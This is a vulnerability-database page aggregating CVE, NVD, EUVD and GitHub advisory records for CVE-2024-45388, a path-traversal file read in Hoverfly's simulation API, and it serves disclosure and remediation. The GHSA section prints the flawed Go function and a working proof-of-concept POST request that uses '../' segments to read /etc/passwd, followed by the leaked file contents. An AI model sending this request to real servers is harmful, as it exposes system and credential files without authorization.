Vulnerability-Lookup

CVE-2024-45388 (GCVE-0-2024-45388)

Vulnerability from cvelistv5 – Published: 2024-09-02 16:07 – Updated: 2024-09-03 14:22

Previdian

Title

Arbitrary file read in the `/api/v2/simulation` endpoint in hoverfly (`GHSL-2023-274`)

Summary

Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The `/api/v2/simulation` POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, "/")`). This issue is also tracked as GHSL-2023-274.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-09-03 13:52 UTC

CWE

CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor

Assigner

GitHub_M mitre root Scorecard

References

4 references

URL	Tags
https://github.com/SpectoLabs/hoverfly/security/a…	x_refsource_CONFIRM
https://codeql.github.com/codeql-query-help/go/go…	x_refsource_MISC
https://github.com/SpectoLabs/hoverfly/releases/t…	x_refsource_MISC
https://github.com/spectolabs/hoverfly/blob/15d6e…	x_refsource_MISC

Impacted products

2 products

Vendor	Product	Version
SpectoLabs	hoverfly	Affected: < 1.10.3
spectolabs	hoverfly	Affected: 0 , < 1.10.3 (custom) cpe:2.3:a:spectolabs:hoverfly::::::::

Previdian

Known Exploited Vulnerability - GCVE BCP-07 Compliant

KEV entry ID: af3a6b99-2138-4059-b537-2db62bb91bf2

Vulnerability ID: CVE-2024-45388

Status: Confirmed

Status Updated: 2026-02-14 01:00 CET

Exploited: Yes

Timestamps

First Seen: 2026-02-14

Asserted: 2026-02-14

Scope

Evidence

Type: Public Report

Signal: Successful Exploitation

Confidence: 70%

Source: previdian

Details

Feed	Previdian (previdian.com)
Title	Arbitrary file read in the `/api/v2/simulation` endpoint in hoverfly (`GHSL-2023-274`)
Cve Id	CVE-2024-45388
Vendor	SpectoLabs
Ghsa Id	GHSA-6XX4-X46F-F897
Product	hoverfly
Added Date	2026-02-14T00:00:00.000Z
Cvss Score	7.5
Epss Score	0.55574
Previous Ids
Cvss Severity	HIGH
Virtual Patch	False
Cvss Estimated	False
Epss Percentile	0.99011
Used In Malware	unknown
Vulnerability Id	CVE-2024-45388
Ahead Of Cisa Kev	None
Not Yet In Cisa Kev	True

References

Created: 2026-10-02 09:09 CEST | Updated: 2026-10-02 09:09 CEST

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:spectolabs:hoverfly:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "hoverfly",
            "vendor": "spectolabs",
            "versions": [
              {
                "lessThan": "1.10.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-45388",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-03T13:52:29.019621Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-03T14:22:12.634Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "hoverfly",
          "vendor": "SpectoLabs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.10.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The `/api/v2/simulation` POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`). This issue is also tracked as GHSL-2023-274."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-09-02T16:07:17.599Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-6xx4-x46f-f897",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-6xx4-x46f-f897"
        },
        {
          "name": "https://codeql.github.com/codeql-query-help/go/go-path-injection",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://codeql.github.com/codeql-query-help/go/go-path-injection"
        },
        {
          "name": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.10.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.10.3"
        },
        {
          "name": "https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87"
        }
      ],
      "source": {
        "advisory": "GHSA-6xx4-x46f-f897",
        "discovery": "UNKNOWN"
      },
      "title": "Arbitrary file read in the `/api/v2/simulation` endpoint in hoverfly (`GHSL-2023-274`)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2024-45388",
    "datePublished": "2024-09-02T16:07:17.599Z",
    "dateReserved": "2024-08-28T20:21:32.801Z",
    "dateUpdated": "2024-09-03T14:22:12.634Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2024-45388",
      "date": "2026-10-02",
      "epss": "0.55574",
      "percentile": "0.99012"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "hoverfly",
                "vendor": "SpectoLabs",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 1.10.3"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          },
          {
            "affectedData": [
              {
                "cpes": [
                  "cpe:2.3:a:spectolabs:hoverfly:*:*:*:*:*:*:*:*"
                ],
                "defaultStatus": "unknown",
                "product": "hoverfly",
                "vendor": "spectolabs",
                "versions": [
                  {
                    "lessThan": "1.10.3",
                    "status": "affected",
                    "version": "0",
                    "versionType": "custom"
                  }
                ]
              }
            ],
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:hoverfly:hoverfly:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "2D7086F2-88B8-4148-A8AB-7A49B10DBED1",
                    "versionEndExcluding": "1.10.3",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The `/api/v2/simulation` POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`). This issue is also tracked as GHSL-2023-274."
          },
          {
            "lang": "es",
            "value": "Hoverfly es una herramienta liviana de simulaci\u00f3n de API/virtualizaci\u00f3n de servicios/simulaci\u00f3n de API para desarrolladores y evaluadores. El controlador POST `/api/v2/simulation` permite a los usuarios crear nuevas vistas de simulaci\u00f3n a partir del contenido de un archivo especificado por el usuario. Un atacante puede abusar de esta caracter\u00edstica para leer archivos arbitrarios del servidor Hoverfly. Tenga en cuenta que, aunque el c\u00f3digo evita que se especifiquen rutas absolutas, un atacante puede escapar de la ruta base `hf.Cfg.ResponsesBodyFilesPath` mediante segmentos `../` y llegar a cualquier archivo arbitrario. Este problema se encontr\u00f3 utilizando la consulta CodeQL de expresi\u00f3n de ruta de datos no controlados para Python. Se recomienda a los usuarios asegurarse de que la ruta final (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) est\u00e9 contenida dentro de la ruta base esperada (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`). Este problema tambi\u00e9n se registra como GHSL-2023-274."
          }
        ],
        "id": "CVE-2024-45388",
        "lastModified": "2026-06-17T07:54:07.090",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.5,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 3.6,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            },
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.5,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 3.6,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2024-45388",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-03T13:52:29.019621Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2024-09-02T18:15:38.063",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Not Applicable"
            ],
            "url": "https://codeql.github.com/codeql-query-help/go/go-path-injection"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Release Notes"
            ],
            "url": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.10.3"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-6xx4-x46f-f897"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Product"
            ],
            "url": "https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-200"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          },
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-22"
              }
            ],
            "source": "nvd@nist.gov",
            "type": "Primary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "affected": [
              {
                "cpes": [
                  "cpe:2.3:a:spectolabs:hoverfly:*:*:*:*:*:*:*:*"
                ],
                "defaultStatus": "unknown",
                "product": "hoverfly",
                "vendor": "spectolabs",
                "versions": [
                  {
                    "lessThan": "1.10.3",
                    "status": "affected",
                    "version": "0",
                    "versionType": "custom"
                  }
                ]
              }
            ],
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2024-45388",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2024-09-03T13:52:29.019621Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2024-09-03T14:22:04.493Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "hoverfly",
              "vendor": "SpectoLabs",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 1.10.3"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The `/api/v2/simulation` POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`). This issue is also tracked as GHSL-2023-274."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.5,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-200",
                  "description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2024-09-02T16:07:17.599Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-6xx4-x46f-f897",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-6xx4-x46f-f897"
            },
            {
              "name": "https://codeql.github.com/codeql-query-help/go/go-path-injection",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://codeql.github.com/codeql-query-help/go/go-path-injection"
            },
            {
              "name": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.10.3",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.10.3"
            },
            {
              "name": "https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87"
            }
          ],
          "source": {
            "advisory": "GHSA-6xx4-x46f-f897",
            "discovery": "UNKNOWN"
          },
          "title": "Arbitrary file read in the `/api/v2/simulation` endpoint in hoverfly (`GHSL-2023-274`)"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2024-45388",
        "datePublished": "2024-09-02T16:07:17.599Z",
        "dateReserved": "2024-08-28T20:21:32.801Z",
        "dateUpdated": "2024-09-02T16:07:17.599Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}

EUVD-2026-161005

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-02 06:38

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

JSON

To clipboard

{
  "assigner": "ENISA",
  "date_reserved": "2026-10-02T06:38:01.025346+00:00",
  "id": "EUVD-2026-161005"
}

FKIE_CVE-2024-45388

Vulnerability from fkie_nvd - Published: 2024-09-02 18:15 - Updated: 2026-06-17 07:54

Previdian

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://codeql.github.com/codeql-query-help/go/go-path-injection	Not Applicable
security-advisories@github.com	https://github.com/SpectoLabs/hoverfly/releases/tag/v1.10.3	Release Notes
security-advisories@github.com	https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-6xx4-x46f-f897	Exploit, Vendor Advisory
security-advisories@github.com	https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87	Product

Impacted products

	Vendor	Product	Version
	hoverfly	hoverfly	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "hoverfly",
          "vendor": "SpectoLabs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.10.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    },
    {
      "affectedData": [
        {
          "cpes": [
            "cpe:2.3:a:spectolabs:hoverfly:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unknown",
          "product": "hoverfly",
          "vendor": "spectolabs",
          "versions": [
            {
              "lessThan": "1.10.3",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:hoverfly:hoverfly:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "2D7086F2-88B8-4148-A8AB-7A49B10DBED1",
              "versionEndExcluding": "1.10.3",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The `/api/v2/simulation` POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`). This issue is also tracked as GHSL-2023-274."
    },
    {
      "lang": "es",
      "value": "Hoverfly es una herramienta liviana de simulaci\u00f3n de API/virtualizaci\u00f3n de servicios/simulaci\u00f3n de API para desarrolladores y evaluadores. El controlador POST `/api/v2/simulation` permite a los usuarios crear nuevas vistas de simulaci\u00f3n a partir del contenido de un archivo especificado por el usuario. Un atacante puede abusar de esta caracter\u00edstica para leer archivos arbitrarios del servidor Hoverfly. Tenga en cuenta que, aunque el c\u00f3digo evita que se especifiquen rutas absolutas, un atacante puede escapar de la ruta base `hf.Cfg.ResponsesBodyFilesPath` mediante segmentos `../` y llegar a cualquier archivo arbitrario. Este problema se encontr\u00f3 utilizando la consulta CodeQL de expresi\u00f3n de ruta de datos no controlados para Python. Se recomienda a los usuarios asegurarse de que la ruta final (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) est\u00e9 contenida dentro de la ruta base esperada (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`). Este problema tambi\u00e9n se registra como GHSL-2023-274."
    }
  ],
  "id": "CVE-2024-45388",
  "lastModified": "2026-06-17T07:54:07.090",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2024-45388",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2024-09-03T13:52:29.019621Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2024-09-02T18:15:38.063",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Not Applicable"
      ],
      "url": "https://codeql.github.com/codeql-query-help/go/go-path-injection"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.10.3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-6xx4-x46f-f897"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product"
      ],
      "url": "https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-200"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

GHSA-6XX4-X46F-F897

Vulnerability from github – Published: 2024-09-03 21:01 – Updated: 2024-09-06 21:41

Summary

Hoverfly allows an arbitrary file read in the `/api/v2/simulation` endpoint (`GHSL-2023-274`)

Details

The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.

# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186
func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {
    if filepath.IsAbs(filePath) {
        return "", fmt.Errorf("bodyFile contains absolute path (%s). only relative is supported", filePath)
    }

    fileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))
    if err != nil {
        return "", err
    }

    return string(fileContents[:]), nil
}

Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files.

This issue was found using the Uncontrolled data used in path expression CodeQL query for python.

Proof of Concept

Send the following POST request to read the /etc/passwd file:

POST /api/v2/simulation HTTP/1.1
Host: localhost:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128

{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}

Response will contain the Hoverfly's server /etc/passwd

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 19 Dec 2023 20:59:16 GMT
Content-Length: 1494
Connection: close

{"data":{"pairs":[{"request":{},"response":{"status":0,"body":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\n","bodyFile":"../../../../../etc/passwd","encodedBody":false,"templated":false}}],"globalActions":{"delays":[],"delaysLogNormal":[]}},"meta":{"schemaVersion":"v5.2","hoverflyVersion":"v1.6.1","timeExported":"2023-12-19T20:59:16Z"}}

Impact

This issue may lead to Information Disclosure.

Remediation

The code is preventing absolute paths from being read. Make sure the final path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)) is contained within the expected base path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, "/"))

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/spectolabs/hoverfly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/SpectoLabs/hoverfly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45388"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-03T21:01:53Z",
    "nvd_published_at": "2024-09-02T18:15:38Z",
    "severity": "HIGH"
  },
